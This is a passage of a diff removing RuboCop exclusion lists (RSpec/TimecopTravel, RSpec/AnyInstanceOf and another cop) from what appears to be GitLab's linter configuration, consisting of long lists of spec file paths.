- - 'spec/lib/gitlab/puma_logging/json_formatter_spec.rb'
- - 'spec/lib/json_web_token/hmac_token_spec.rb'
- - 'spec/tooling/rspec_flaky/flaky_example_spec.rb'
- - 'spec/tooling/rspec_flaky/listener_spec.rb'
- - 'spec/models/active_session_spec.rb'
- - 'spec/serializers/entity_date_helper_spec.rb'
- - 'spec/support/cycle_analytics_helpers/test_generation.rb'
- - 'spec/support/helpers/cycle_analytics_helpers.rb'
- - 'spec/support/helpers/javascript_fixtures_helpers.rb'
- - 'spec/support/shared_contexts/rack_attack_shared_context.rb'
- - 'spec/support/shared_examples/workers/concerns/reenqueuer_shared_examples.rb'
- - 'spec/workers/concerns/reenqueuer_spec.rb'
- - 'spec/workers/metrics/dashboard/prune_old_annotations_worker_spec.rb'
-
-RSpec/TimecopTravel:
- Exclude:
- - 'ee/spec/lib/gitlab/geo/event_gap_tracking_spec.rb'
- - 'ee/spec/lib/gitlab/geo/git_push_http_spec.rb'
- - 'ee/spec/lib/gitlab/geo/jwt_request_decoder_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/daemon_spec.rb'
- - 'ee/spec/models/broadcast_message_spec.rb'
- - 'ee/spec/models/burndown_spec.rb'
- - 'qa/spec/support/repeater_spec.rb'
- - 'spec/features/users/terms_spec.rb'
- - 'spec/lib/feature_spec.rb'
- - 'spec/models/broadcast_message_spec.rb'
- - 'spec/models/concerns/issuable_spec.rb'
- - 'spec/requests/api/ci/runner/jobs_trace_spec.rb'
- - 'spec/requests/api/issues/put_projects_issues_spec.rb'
- - 'spec/support/shared_contexts/cache_allowed_users_in_namespace_shared_context.rb'
- - 'spec/support/shared_examples/requests/api/time_tracking_shared_examples.rb'
- - 'spec/support/shared_examples/workers/concerns/reenqueuer_shared_examples.rb'
- - 'spec/workers/concerns/reenqueuer_spec.rb'
- - 'spec/lib/gitlab/analytics/cycle_analytics/median_spec.rb'
-
-# WIP: https://gitlab.com/gitlab-org/gitlab/-/issues/34997
-RSpec/AnyInstanceOf:
- Exclude:
- - 'ee/spec/controllers/admin/geo/nodes_controller_spec.rb'
- - 'ee/spec/controllers/ee/groups_controller_spec.rb'
- - 'ee/spec/controllers/groups/analytics/productivity_analytics_controller_spec.rb'
- - 'ee/spec/controllers/groups/epics/notes_controller_spec.rb'
- - 'ee/spec/controllers/groups/omniauth_callbacks_controller_spec.rb'
- - 'ee/spec/controllers/oauth/geo_auth_controller_spec.rb'
- - 'ee/spec/controllers/projects/environments_controller_spec.rb'
- - 'ee/spec/controllers/projects/integrations/jira/issues_controller_spec.rb'
- - 'ee/spec/controllers/projects/merge_requests_controller_spec.rb'
- - 'ee/spec/controllers/projects/path_locks_controller_spec.rb'
- - 'ee/spec/controllers/projects_controller_spec.rb'
- - 'ee/spec/controllers/subscriptions_controller_spec.rb'
- - 'ee/spec/controllers/trials_controller_spec.rb'
- - 'ee/spec/features/admin/admin_audit_logs_spec.rb'
- - 'ee/spec/features/admin/admin_reset_pipeline_minutes_spec.rb'
- - 'ee/spec/features/admin/admin_users_spec.rb'
- - 'ee/spec/features/boards/scoped_issue_board_spec.rb'
- - 'ee/spec/features/ci_shared_runner_warnings_spec.rb'
- - 'ee/spec/features/groups/group_settings_spec.rb'
- - 'ee/spec/features/groups/navbar_spec.rb'
- - 'ee/spec/features/groups/saml_providers_spec.rb'
- - 'ee/spec/features/issues/form_spec.rb'
- - 'ee/spec/features/merge_request/user_creates_merge_request_spec.rb'
- - 'ee/spec/features/projects/new_project_spec.rb'
- - 'ee/spec/features/registrations/welcome_spec.rb'
- - 'ee/spec/features/security/project/internal_access_spec.rb'
- - 'ee/spec/features/security/project/private_access_spec.rb'
- - 'ee/spec/features/security/project/public_access_spec.rb'
- - 'ee/spec/features/trials/capture_lead_spec.rb'
- - 'ee/spec/features/trials/select_namespace_spec.rb'
- - 'ee/spec/features/users/login_spec.rb'
- - 'ee/spec/graphql/mutations/dast_on_demand_scans/create_spec.rb'
- - 'ee/spec/graphql/mutations/incident_management/oncall_schedule/create_spec.rb'
- - 'ee/spec/graphql/mutations/incident_management/oncall_schedule/destroy_spec.rb'
- - 'ee/spec/graphql/mutations/incident_management/oncall_schedule/update_spec.rb'
- - 'ee/spec/helpers/application_helper_spec.rb'
- - 'ee/spec/lib/ee/api/helpers_spec.rb'
- - 'ee/spec/lib/ee/gitlab/auth/ldap/sync/group_spec.rb'
- - 'ee/spec/lib/ee/gitlab/checks/push_rule_check_spec.rb'
- - 'ee/spec/lib/ee/gitlab/checks/push_rules/commit_check_spec.rb'
- - 'ee/spec/lib/gitlab/auth/group_saml/membership_enforcer_spec.rb'
- - 'ee/spec/lib/gitlab/auth/ldap/access_spec.rb'
- - 'ee/spec/lib/gitlab/ci/templates/Jobs/browser_performance_testing_gitlab_ci_yaml_spec.rb'
- - 'ee/spec/lib/gitlab/ci/templates/Jobs/dast_default_branch_gitlab_ci_yaml_spec.rb'
- - 'ee/spec/lib/gitlab/ci/templates/Jobs/load_performance_testing_gitlab_ci_yaml_spec.rb'
- - 'ee/spec/lib/gitlab/ci/templates/Verify/browser_performance_testing_gitlab_ci_yaml_spec.rb'
- - 'ee/spec/lib/gitlab/ci/templates/Verify/load_performance_testing_gitlab_ci_yaml_spec.rb'
- - 'ee/spec/lib/gitlab/ci/templates/api_fuzzing_gitlab_ci_yaml_spec.rb'
- - 'ee/spec/lib/gitlab/ci/templates/container_scanning_gitlab_ci_yaml_spec.rb'
- - 'ee/spec/lib/gitlab/ci/templates/coverage_fuzzing_gitlab_ci_yaml_spec.rb'
- - 'ee/spec/lib/gitlab/ci/templates/dast_gitlab_ci_yaml_spec.rb'
- - 'ee/spec/lib/gitlab/ci/templates/dependency_scanning_gitlab_ci_yaml_spec.rb'
- - 'ee/spec/lib/gitlab/ci/templates/license_scanning_gitlab_ci_yaml_spec.rb'
- - 'ee/spec/lib/gitlab/ci/templates/sast_gitlab_ci_yaml_spec.rb'
- - 'ee/spec/lib/gitlab/elastic/project_search_results_spec.rb'
- - 'ee/spec/lib/gitlab/expiring_subscription_message_spec.rb'
- - 'ee/spec/lib/gitlab/geo/log_cursor/daemon_spec.rb'
- - 'ee/spec/lib/gitlab/legacy_github_import/project_creator_spec.rb'
- - 'ee/spec/lib/omni_auth/strategies/group_saml_spec.rb'
- - 'ee/spec/lib/security/ci_configuration/sast_build_actions_spec.rb'
- - 'ee/spec/lib/system_check/geo/geo_database_configured_check_spec.rb'
- - 'ee/spec/migrations/schedule_populate_resolved_on_default_branch_column_spec.rb'
- - 'ee/spec/migrations/update_location_fingerprint_column_for_cs_spec.rb'
- - 'ee/spec/migrations/update_occurrence_severity_column_spec.rb'
- - 'ee/spec/migrations/update_undefined_confidence_from_occurrences_spec.rb'
- - 'ee/spec/migrations/update_undefined_confidence_from_vulnerabilities_spec.rb'
- - 'ee/spec/migrations/update_vulnerability_severity_column_spec.rb'
- - 'ee/spec/models/ee/namespace_spec.rb'
- - 'ee/spec/models/geo_node_status_spec.rb'
- - 'ee/spec/models/issue_spec.rb'
- - 'ee/spec/models/merge_request_spec.rb'
- - 'ee/spec/models/project_import_state_spec.rb'
- - 'ee/spec/models/push_rule_spec.rb'
- - 'ee/spec/presenters/ci/pipeline_presenter_spec.rb'
- - 'ee/spec/presenters/projects/security/configuration_presenter_spec.rb'
- - 'ee/spec/requests/api/geo_nodes_spec.rb'
- - 'ee/spec/requests/api/graphql/mutations/dast_on_demand_scans/create_spec.rb'
- - 'ee/spec/requests/api/graphql/mutations/dast_site_profiles/delete_spec.rb'
- - 'ee/spec/requests/api/graphql/mutations/pipelines/run_dast_scan_spec.rb'
- - 'ee/spec/requests/api/issues_spec.rb'
- - 'ee/spec/requests/api/projects_spec.rb'
- - 'ee/spec/requests/git_http_spec.rb'
- - 'ee/spec/requests/groups_controller_spec.rb'
- - 'ee/spec/requests/omniauth_kerberos_spnego_spec.rb'
- - 'ee/spec/requests/repositories/git_http_controller_spec.rb'
- - 'ee/spec/services/alert_management/network_alert_service_spec.rb'
- - 'ee/spec/services/ci/expire_pipeline_cache_service_spec.rb'
- - 'ee/spec/services/ci/run_dast_scan_service_spec.rb'
- - 'ee/spec/services/ee/git/branch_push_service_spec.rb'
- - 'ee/spec/services/ee/merge_requests/create_from_vulnerability_data_service_spec.rb'
- - 'ee/spec/services/ee/merge_requests/refresh_service_spec.rb'
- - 'ee/spec/services/ee/security/ingress_modsecurity_usage_service_spec.rb'
- - 'ee/spec/services/ee/users/create_service_spec.rb'
- - 'ee/spec/services/ee/users/destroy_service_spec.rb'
- - 'ee/spec/services/geo/container_repository_sync_service_spec.rb'
- - 'ee/spec/services/geo/design_repository_sync_service_spec.rb'
- - 'ee/spec/services/geo/framework_repository_sync_service_spec.rb'
- - 'ee/spec/services/geo/hashed_storage_migration_service_spec.rb'
- - 'ee/spec/services/geo/metrics_update_service_spec.rb'
- - 'ee/spec/services/geo/move_repository_service_spec.rb'
- - 'ee/spec/services/geo/project_housekeeping_service_spec.rb'
- - 'ee/spec/services/geo/rename_repository_service_spec.rb'
- - 'ee/spec/services/geo/repository_destroy_service_spec.rb'
- - 'ee/spec/services/geo/repository_sync_service_spec.rb'
- - 'ee/spec/services/geo/wiki_sync_service_spec.rb'
- - 'ee/spec/services/groups/destroy_service_spec.rb'
- - 'ee/spec/services/groups/update_service_spec.rb'
- - 'ee/spec/services/merge_trains/check_status_service_spec.rb'
- - 'ee/spec/services/network_policies/resources_service_spec.rb'
- - 'ee/spec/services/projects/destroy_service_spec.rb'
- - 'ee/spec/services/projects/group_links/destroy_service_spec.rb'
- - 'ee/spec/services/projects/update_service_spec.rb'
- - 'ee/spec/services/slash_commands/global_slack_handler_spec.rb'
- - 'ee/spec/support/helpers/ee/stub_configuration.rb'
- - 'ee/spec/support/shared_examples/controllers/analytics/cycle_analytics/shared_stage_shared_examples.rb'
- - 'ee/spec/support/shared_examples/features/ultimate_trial_callout_shared_examples.rb'
- - 'ee/spec/support/shared_examples/lib/gitlab/geo/geo_logs_event_source_info_shared_examples.rb'
- - 'ee/spec/support/shared_examples/models/member_shared_examples.rb'
- - 'ee/spec/support/shared_examples/services/base_sync_service_shared_examples.rb'
- - 'ee/spec/support/shared_examples/services/geo/geo_request_service_shared_examples.rb'
- - 'ee/spec/workers/build_finished_worker_spec.rb'
- - 'ee/spec/workers/concerns/elastic/indexing_control_spec.rb'
- - 'ee/spec/workers/elastic_commit_indexer_worker_spec.rb'
- - 'ee/spec/workers/geo/design_repository_shard_sync_worker_spec.rb'
- - 'ee/spec/workers/geo/file_download_dispatch_worker_spec.rb'
- - 'ee/spec/workers/geo/registry_sync_worker_spec.rb'
- - 'ee/spec/workers/geo/repository_cleanup_worker_spec.rb'
- - 'ee/spec/workers/geo/repository_shard_sync_worker_spec.rb'
- - 'ee/spec/workers/project_cache_worker_spec.rb'
- - 'ee/spec/workers/repository_import_worker_spec.rb'
- - 'ee/spec/workers/vulnerability_exports/export_deletion_worker_spec.rb'
- - 'qa/spec/runtime/release_spec.rb'
- - 'spec/controllers/admin/sessions_controller_spec.rb'
- - 'spec/controllers/application_controller_spec.rb'
- - 'spec/controllers/concerns/issuable_actions_spec.rb'
- - 'spec/controllers/concerns/static_object_external_storage_spec.rb'
- - 'spec/controllers/explore/projects_controller_spec.rb'
- - 'spec/controllers/groups/clusters_controller_spec.rb'
- - 'spec/controllers/groups/settings/ci_cd_controller_spec.rb'
- - 'spec/controllers/groups_controller_spec.rb'
- - 'spec/controllers/import/bitbucket_controller_spec.rb'
- - 'spec/controllers/oauth/jira/authorizations_controller_spec.rb'
- - 'spec/controllers/omniauth_callbacks_controller_spec.rb'
- - 'spec/controllers/projects/artifacts_controller_spec.rb'
- - 'spec/controllers/projects/branches_controller_spec.rb'
- - 'spec/controllers/projects/clusters_controller_spec.rb'
- - 'spec/controllers/projects/commit_controller_spec.rb'
- - 'spec/controllers/projects/commits_controller_spec.rb'
- - 'spec/controllers/projects/environments_controller_spec.rb'
- - 'spec/controllers/projects/imports_controller_spec.rb'
- - 'spec/controllers/projects/issues_controller_spec.rb'
- - 'spec/controllers/projects/jobs_controller_spec.rb'
- - 'spec/controllers/projects/labels_controller_spec.rb'
- - 'spec/controllers/projects/merge_requests_controller_spec.rb'
- - 'spec/controllers/projects/pipelines_controller_spec.rb'
- - 'spec/controllers/projects/service_hook_logs_controller_spec.rb'
- - 'spec/controllers/projects/services_controller_spec.rb'
- - 'spec/controllers/projects/tags_controller_spec.rb'
- - 'spec/controllers/registrations/experience_levels_controller_spec.rb'
- - 'spec/controllers/registrations_controller_spec.rb'
- - 'spec/controllers/sessions_controller_spec.rb'
- - 'spec/controllers/snippets/notes_controller_spec.rb'
- - 'spec/controllers/snippets_controller_spec.rb'
- - 'spec/features/admin/admin_mode/login_spec.rb'
- - 'spec/features/groups/clusters/eks_spec.rb'
- - 'spec/features/groups/members/tabs_spec.rb'
- - 'spec/features/ide/static_object_external_storage_csp_spec.rb'
- - 'spec/features/issuables/issuable_list_spec.rb'
- - 'spec/features/issues/form_spec.rb'
- - 'spec/features/merge_request/user_creates_image_diff_notes_spec.rb'
- - 'spec/features/merge_request/user_reviews_image_spec.rb'
- - 'spec/features/merge_request/user_sees_diff_spec.rb'
- - 'spec/features/merge_request/user_sees_merge_widget_spec.rb'
- - 'spec/features/profiles/personal_access_tokens_spec.rb'
- - 'spec/features/projects/clusters/gcp_spec.rb'
- - 'spec/features/projects/clusters_spec.rb'
- - 'spec/features/projects/container_registry_spec.rb'
- - 'spec/features/projects/files/user_browses_lfs_files_spec.rb'
- - 'spec/features/projects/jobs_spec.rb'
- - 'spec/features/projects/navbar_spec.rb'
- - 'spec/features/projects/pages_spec.rb'
- - 'spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb'
- - 'spec/features/projects/settings/service_desk_setting_spec.rb'
- - 'spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb'
- - 'spec/features/snippets/embedded_snippet_spec.rb'
- - 'spec/features/usage_stats_consent_spec.rb'
- - 'spec/finders/prometheus_metrics_finder_spec.rb'
- - 'spec/graphql/mutations/alert_management/create_alert_issue_spec.rb'
- - 'spec/graphql/mutations/alert_management/http_integration/create_spec.rb'
- - 'spec/graphql/mutations/alert_management/http_integration/destroy_spec.rb'
- - 'spec/graphql/mutations/alert_management/http_integration/reset_token_spec.rb'
- - 'spec/graphql/mutations/alert_management/http_integration/update_spec.rb'
- - 'spec/graphql/mutations/alert_management/prometheus_integration/create_spec.rb'
- - 'spec/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb'
- - 'spec/graphql/mutations/alert_management/prometheus_integration/update_spec.rb'
- - 'spec/helpers/analytics/unique_visits_helper_spec.rb'
- - 'spec/helpers/projects_helper_spec.rb'
- - 'spec/initializers/lograge_spec.rb'
- - 'spec/lib/api/entities/merge_request_basic_spec.rb'
- - 'spec/lib/api/entities/merge_request_changes_spec.rb'
- - 'spec/lib/api/helpers_spec.rb'
- - 'spec/lib/backup/files_spec.rb'
- - 'spec/lib/backup/manager_spec.rb'
- - 'spec/lib/banzai/commit_renderer_spec.rb'
- - 'spec/lib/banzai/filter/references/external_issue_reference_filter_spec.rb'
- - 'spec/lib/banzai/filter/references/issue_reference_filter_spec.rb'
- - 'spec/lib/banzai/filter/repository_link_filter_spec.rb'
- - 'spec/lib/banzai/pipeline/gfm_pipeline_spec.rb'
- - 'spec/lib/extracts_ref_spec.rb'
- - 'spec/lib/feature_spec.rb'
- - 'spec/lib/gitlab/app_logger_spec.rb'
- - 'spec/lib/gitlab/asciidoc_spec.rb'
- - 'spec/lib/gitlab/auth/auth_finders_spec.rb'
- - 'spec/lib/gitlab/auth/blocked_user_tracker_spec.rb'
- - 'spec/lib/gitlab/auth/request_authenticator_spec.rb'
- - 'spec/lib/gitlab/auth_spec.rb'
- - 'spec/lib/gitlab/background_migration/populate_personal_snippet_statistics_spec.rb'
- - 'spec/lib/gitlab/background_migration/populate_project_snippet_statistics_spec.rb'
- - 'spec/lib/gitlab/checks/diff_check_spec.rb'
- - 'spec/lib/gitlab/checks/lfs_check_spec.rb'
- - 'spec/lib/gitlab/checks/lfs_integrity_spec.rb'
- - 'spec/lib/gitlab/ci/config/external/file/base_spec.rb'
- - 'spec/lib/gitlab/ci/config/external/file/local_spec.rb'
- - 'spec/lib/gitlab/ci/config/external/processor_spec.rb'
- - 'spec/lib/gitlab/ci/pipeline/chain/build_spec.rb'
- - 'spec/lib/gitlab/ci/pipeline/chain/command_spec.rb'
- - 'spec/lib/gitlab/ci/templates/AWS/deploy_ecs_gitlab_ci_yaml_spec.rb'
- - 'spec/lib/gitlab/ci/templates/Jobs/build_gitlab_ci_yaml_spec.rb'
- - 'spec/lib/gitlab/ci/templates/Jobs/code_quality_gitlab_ci_yaml_spec.rb'
- - 'spec/lib/gitlab/ci/templates/Jobs/deploy_gitlab_ci_yaml_spec.rb'
- - 'spec/lib/gitlab/ci/templates/Jobs/test_gitlab_ci_yaml_spec.rb'
- - 'spec/lib/gitlab/ci/templates/Terraform/base_gitlab_ci_yaml_spec.rb'
- - 'spec/lib/gitlab/ci/templates/Verify/load_performance_testing_gitlab_ci_yaml_spec.rb'
- - 'spec/lib/gitlab/ci/templates/auto_devops_gitlab_ci_yaml_spec.rb'
- - 'spec/lib/gitlab/ci/templates/npm_spec.rb'
- - 'spec/lib/gitlab/ci/templates/terraform_latest_gitlab_ci_yaml_spec.rb'
- - 'spec/lib/gitlab/ci/trace_spec.rb'
- - 'spec/lib/gitlab/current_settings_spec.rb'
- - 'spec/lib/gitlab/cycle_analytics/base_event_fetcher_spec.rb'
- - 'spec/lib/gitlab/database/multi_threaded_migration_spec.rb'
- - 'spec/lib/gitlab/diff/highlight_cache_spec.rb'
- - 'spec/lib/gitlab/diff/highlight_spec.rb'
- - 'spec/lib/gitlab/diff/position_spec.rb'
- - 'spec/lib/gitlab/email/handler/create_issue_handler_spec.rb'
- - 'spec/lib/gitlab/email/handler/create_note_handler_spec.rb'
- - 'spec/lib/gitlab/etag_caching/middleware_spec.rb'
- - 'spec/lib/gitlab/exclusive_lease_helpers_spec.rb'
- - 'spec/lib/gitlab/fogbugz_import/importer_spec.rb'
- - 'spec/lib/gitlab/gfm/reference_rewriter_spec.rb'
- - 'spec/lib/gitlab/git/repository_spec.rb'
- - 'spec/lib/gitlab/gitaly_client/blob_service_spec.rb'
- - 'spec/lib/gitlab/gitaly_client/commit_service_spec.rb'
- - 'spec/lib/gitlab/gitaly_client/conflicts_service_spec.rb'
- - 'spec/lib/gitlab/gitaly_client/health_check_service_spec.rb'
- - 'spec/lib/gitlab/gitaly_client/operation_service_spec.rb'
- - 'spec/lib/gitlab/gitaly_client/praefect_info_service_spec.rb'
- - 'spec/lib/gitlab/gitaly_client/ref_service_spec.rb'
- - 'spec/lib/gitlab/gitaly_client/remote_service_spec.rb'
- - 'spec/lib/gitlab/gitaly_client/repository_service_spec.rb'
- - 'spec/lib/gitlab/gitaly_client/wiki_service_spec.rb'
- - 'spec/lib/gitlab/github_import/importer/pull_request_importer_spec.rb'
- - 'spec/lib/gitlab/gpg/invalid_gpg_signature_updater_spec.rb'
- - 'spec/lib/gitlab/hashed_storage/migrator_spec.rb'
- - 'spec/lib/gitlab/import/merge_request_helpers_spec.rb'
- - 'spec/lib/gitlab/import_export/config_spec.rb'
- - 'spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb'
- - 'spec/lib/gitlab/import_export/importer_spec.rb'
- - 'spec/lib/gitlab/import_export/lfs_restorer_spec.rb'
- - 'spec/lib/gitlab/import_export/project/tree_restorer_spec.rb'
- - 'spec/lib/gitlab/import_export/snippet_repo_restorer_spec.rb'
- - 'spec/lib/gitlab/import_export/snippets_repo_restorer_spec.rb'
- - 'spec/lib/gitlab/import_export/version_checker_spec.rb'
- - 'spec/lib/gitlab/job_waiter_spec.rb'
- - 'spec/lib/gitlab/legacy_github_import/importer_spec.rb'
- - 'spec/lib/gitlab/legacy_github_import/project_creator_spec.rb'
- - 'spec/lib/gitlab/metrics/exporter/base_exporter_spec.rb'
- - 'spec/lib/gitlab/metrics/rack_middleware_spec.rb'
- - 'spec/lib/gitlab/metrics/subscribers/active_record_spec.rb'
- - 'spec/lib/gitlab/metrics_spec.rb'
- - 'spec/lib/gitlab/patch/action_dispatch_journey_formatter_spec.rb'
- - 'spec/lib/gitlab/sidekiq_daemon/monitor_spec.rb'
- - 'spec/lib/gitlab/sidekiq_middleware_spec.rb'
- - 'spec/lib/gitlab/tracking/destinations/product_analytics_spec.rb'
- - 'spec/lib/gitlab/tracking/destinations/snowplow_spec.rb'
- - 'spec/lib/gitlab/tracking_spec.rb'
- - 'spec/lib/gitlab/usage_data_spec.rb'
- - 'spec/lib/gitlab/workhorse_spec.rb'
- - 'spec/lib/gitlab/x509/commit_spec.rb'
- - 'spec/lib/gitlab/x509/signature_spec.rb'
- - 'spec/lib/google_api/cloud_platform/client_spec.rb'
- - 'spec/lib/json_web_token/rsa_token_spec.rb'
- - 'spec/lib/mattermost/command_spec.rb'
- - 'spec/lib/mattermost/team_spec.rb'
- - 'spec/lib/system_check/simple_executor_spec.rb'
- - 'spec/models/ci/build_spec.rb'
- - 'spec/models/ci/runner_spec.rb'
- - 'spec/models/commit_spec.rb'
- - 'spec/models/environment_spec.rb'
- - 'spec/models/group_spec.rb'
- - 'spec/models/hooks/service_hook_spec.rb'
- - 'spec/models/hooks/system_hook_spec.rb'
- - 'spec/models/hooks/web_hook_spec.rb'
- - 'spec/models/integrations/jira_spec.rb'
- - 'spec/models/integrations/mattermost_slash_commands_spec.rb'
- - 'spec/models/issue_spec.rb'
- - 'spec/models/key_spec.rb'
- - 'spec/models/member_spec.rb'
- - 'spec/models/merge_request_diff_spec.rb'
- - 'spec/models/merge_request_spec.rb'
- - 'spec/models/note_spec.rb'
- - 'spec/models/project_import_state_spec.rb'
- - 'spec/models/project_spec.rb'
- - 'spec/models/repository_spec.rb'
- - 'spec/models/user_spec.rb'
- - 'spec/models/x509_certificate_spec.rb'
- - 'spec/policies/ci/build_policy_spec.rb'
- - 'spec/policies/ci/pipeline_policy_spec.rb'
- - 'spec/presenters/gitlab/blame_presenter_spec.rb'
- - 'spec/presenters/merge_request_presenter_spec.rb'
- - 'spec/requests/api/ci/runner/jobs_artifacts_spec.rb'
- - 'spec/requests/api/ci/runner/jobs_put_spec.rb'
- - 'spec/requests/api/ci/runner/jobs_request_post_spec.rb'
- - 'spec/requests/api/ci/runner/jobs_trace_spec.rb'
- - 'spec/requests/api/ci/runner/runners_delete_spec.rb'
- - 'spec/requests/api/ci/runner/runners_post_spec.rb'
- - 'spec/requests/api/ci/runner/runners_verify_post_spec.rb'
- - 'spec/requests/api/graphql/gitlab_schema_spec.rb'
- - 'spec/requests/api/graphql/project/error_tracking/sentry_detailed_error_request_spec.rb'
- - 'spec/requests/api/graphql_spec.rb'
- - 'spec/requests/api/helpers_spec.rb'
- - 'spec/requests/api/internal/base_spec.rb'
- - 'spec/requests/api/maven_packages_spec.rb'
- - 'spec/requests/api/merge_requests_spec.rb'
- - 'spec/requests/api/pages/pages_spec.rb'
- - 'spec/requests/api/project_export_spec.rb'
- - 'spec/requests/api/project_import_spec.rb'
- - 'spec/requests/api/projects_spec.rb'
- - 'spec/requests/api/snippets_spec.rb'
- - 'spec/requests/api/todos_spec.rb'
- - 'spec/requests/git_http_spec.rb'
- - 'spec/requests/import/gitlab_projects_controller_spec.rb'
- - 'spec/routing/routing_spec.rb'
- - 'spec/serializers/analytics_stage_serializer_spec.rb'
- - 'spec/serializers/merge_request_poll_cached_widget_entity_spec.rb'
- - 'spec/serializers/merge_request_poll_widget_entity_spec.rb'
- - 'spec/services/application_settings/update_service_spec.rb'
- - 'spec/services/auto_merge/merge_when_pipeline_succeeds_service_spec.rb'
- - 'spec/services/boards/lists/update_service_spec.rb'
- - 'spec/services/ci/create_pipeline_service_spec.rb'
- - 'spec/services/ci/destroy_expired_job_artifacts_service_spec.rb'
- - 'spec/services/ci/expire_pipeline_cache_service_spec.rb'
- - 'spec/services/ci/list_config_variables_service_spec.rb'
- - 'spec/services/ci/register_job_service_spec.rb'
- - 'spec/services/ci/resource_groups/assign_resource_from_resource_group_service_spec.rb'
- - 'spec/services/ci/retry_build_service_spec.rb'
- - 'spec/services/ci/retry_pipeline_service_spec.rb'
- - 'spec/services/ci/stop_environments_service_spec.rb'
- - 'spec/services/clusters/applications/create_service_spec.rb'
- - 'spec/services/clusters/cleanup/project_namespace_service_spec.rb'
- - 'spec/services/clusters/cleanup/service_account_service_spec.rb'
- - 'spec/services/deployments/older_deployments_drop_service_spec.rb'
- - 'spec/services/deployments/update_environment_service_spec.rb'
- - 'spec/services/draft_notes/destroy_service_spec.rb'
- - 'spec/services/events/render_service_spec.rb'
- - 'spec/services/git/branch_push_service_spec.rb'
- - 'spec/services/git/process_ref_changes_service_spec.rb'
- - 'spec/services/groups/create_service_spec.rb'
- - 'spec/services/groups/update_service_spec.rb'
- - 'spec/services/integrations/test/project_service_spec.rb'
- - 'spec/services/issuable/destroy_service_spec.rb'
- - 'spec/services/issues/close_service_spec.rb'
- - 'spec/services/issues/reopen_service_spec.rb'
- - 'spec/services/members/destroy_service_spec.rb'
- - 'spec/services/merge_requests/add_todo_when_build_fails_service_spec.rb'
- - 'spec/services/merge_requests/build_service_spec.rb'
- - 'spec/services/merge_requests/merge_service_spec.rb'
- - 'spec/services/merge_requests/mergeability_check_service_spec.rb'
- - 'spec/services/merge_requests/refresh_service_spec.rb'
- - 'spec/services/merge_requests/reload_diffs_service_spec.rb'
- - 'spec/services/merge_requests/resolved_discussion_notification_service_spec.rb'
- - 'spec/services/metrics/dashboard/custom_dashboard_service_spec.rb'
- - 'spec/services/metrics/dashboard/transient_embed_service_spec.rb'
- - 'spec/services/notes/create_service_spec.rb'
- - 'spec/services/notes/render_service_spec.rb'
- - 'spec/services/packages/conan/create_package_file_service_spec.rb'
- - 'spec/services/packages/nuget/metadata_extraction_service_spec.rb'
- - 'spec/services/packages/nuget/update_package_from_metadata_service_spec.rb'
- - 'spec/services/pages/delete_services_spec.rb'
- - 'spec/services/pod_logs/elasticsearch_service_spec.rb'
- - 'spec/services/pod_logs/kubernetes_service_spec.rb'
- - 'spec/services/post_receive_service_spec.rb'
- - 'spec/services/projects/after_rename_service_spec.rb'
- - 'spec/services/projects/container_repository/cleanup_tags_service_spec.rb'
- - 'spec/services/projects/container_repository/delete_tags_service_spec.rb'
- - 'spec/services/projects/container_repository/gitlab/delete_tags_service_spec.rb'
- - 'spec/services/projects/container_repository/third_party/delete_tags_service_spec.rb'
- - 'spec/services/projects/destroy_service_spec.rb'
- - 'spec/services/projects/fork_service_spec.rb'
- - 'spec/services/projects/import_service_spec.rb'
- - 'spec/services/projects/lfs_pointers/lfs_download_service_spec.rb'
- - 'spec/services/projects/lfs_pointers/lfs_object_download_list_service_spec.rb'
- - 'spec/services/projects/prometheus/alerts/notify_service_spec.rb'
- - 'spec/services/projects/transfer_service_spec.rb'
- - 'spec/services/projects/update_remote_mirror_service_spec.rb'
- - 'spec/services/projects/update_service_spec.rb'
- - 'spec/services/projects/update_statistics_service_spec.rb'
- - 'spec/services/resource_events/change_labels_service_spec.rb'
- - 'spec/services/search_service_spec.rb'
- - 'spec/services/snippets/create_service_spec.rb'
- - 'spec/services/test_hooks/project_service_spec.rb'
- - 'spec/services/test_hooks/system_service_spec.rb'
- - 'spec/services/todo_service_spec.rb'
- - 'spec/services/users/destroy_service_spec.rb'
- - 'spec/services/users/migrate_to_ghost_user_service_spec.rb'
- - 'spec/spec_helper.rb'
- - 'spec/support/capybara.rb'
- - 'spec/support/helpers/api_helpers.rb'
- - 'spec/support/helpers/graphql_helpers.rb'
- - 'spec/support/helpers/ldap_helpers.rb'
- - 'spec/support/helpers/login_helpers.rb'
- - 'spec/support/helpers/metrics_dashboard_url_helpers.rb'
- - 'spec/support/helpers/rake_helpers.rb'
- - 'spec/support/helpers/stub_configuration.rb'
- - 'spec/support/helpers/stub_gitlab_calls.rb'
- - 'spec/support/helpers/test_env.rb'
- - 'spec/support/import_export/common_util.rb'
- - 'spec/support/services/migrate_to_ghost_user_service_shared_examples.rb'
- - 'spec/support/shared_contexts/email_shared_context.rb'
- - 'spec/support/shared_contexts/services/projects/container_repository/delete_tags_service_shared_context.rb'
- - 'spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb'
- - 'spec/support/shared_examples/controllers/issuable_notes_filter_shared_examples.rb'
- - 'spec/support/shared_examples/controllers/issuables_requiring_filter_shared_examples.rb'
- - 'spec/support/shared_examples/controllers/repository_lfs_file_load_shared_examples.rb'
- - 'spec/support/shared_examples/controllers/set_sort_order_from_user_preference_shared_examples.rb'
- - 'spec/support/shared_examples/controllers/unique_visits_shared_examples.rb'
- - 'spec/support/shared_examples/controllers/update_invalid_issuable_shared_examples.rb'
- - 'spec/support/shared_examples/controllers/uploads_actions_shared_examples.rb'
- - 'spec/support/shared_examples/features/archive_download_buttons_shared_examples.rb'
- - 'spec/support/shared_examples/features/snippets_shared_examples.rb'
- - 'spec/support/shared_examples/lib/gitlab/ci/ci_trace_shared_examples.rb'
- - 'spec/support/shared_examples/models/atomic_internal_id_shared_examples.rb'
- - 'spec/support/shared_examples/models/diff_note_after_commit_shared_examples.rb'
- - 'spec/support/shared_examples/models/integrations/base_slash_commands_shared_examples.rb'
- - 'spec/support/shared_examples/models/mentionable_shared_examples.rb'
- - 'spec/support/shared_examples/models/with_uploads_shared_examples.rb'
- - 'spec/support/shared_examples/path_extraction_shared_examples.rb'
- - 'spec/support/shared_examples/requests/api/discussions_shared_examples.rb'
- - 'spec/support/shared_examples/requests/api/snippets_shared_examples.rb'
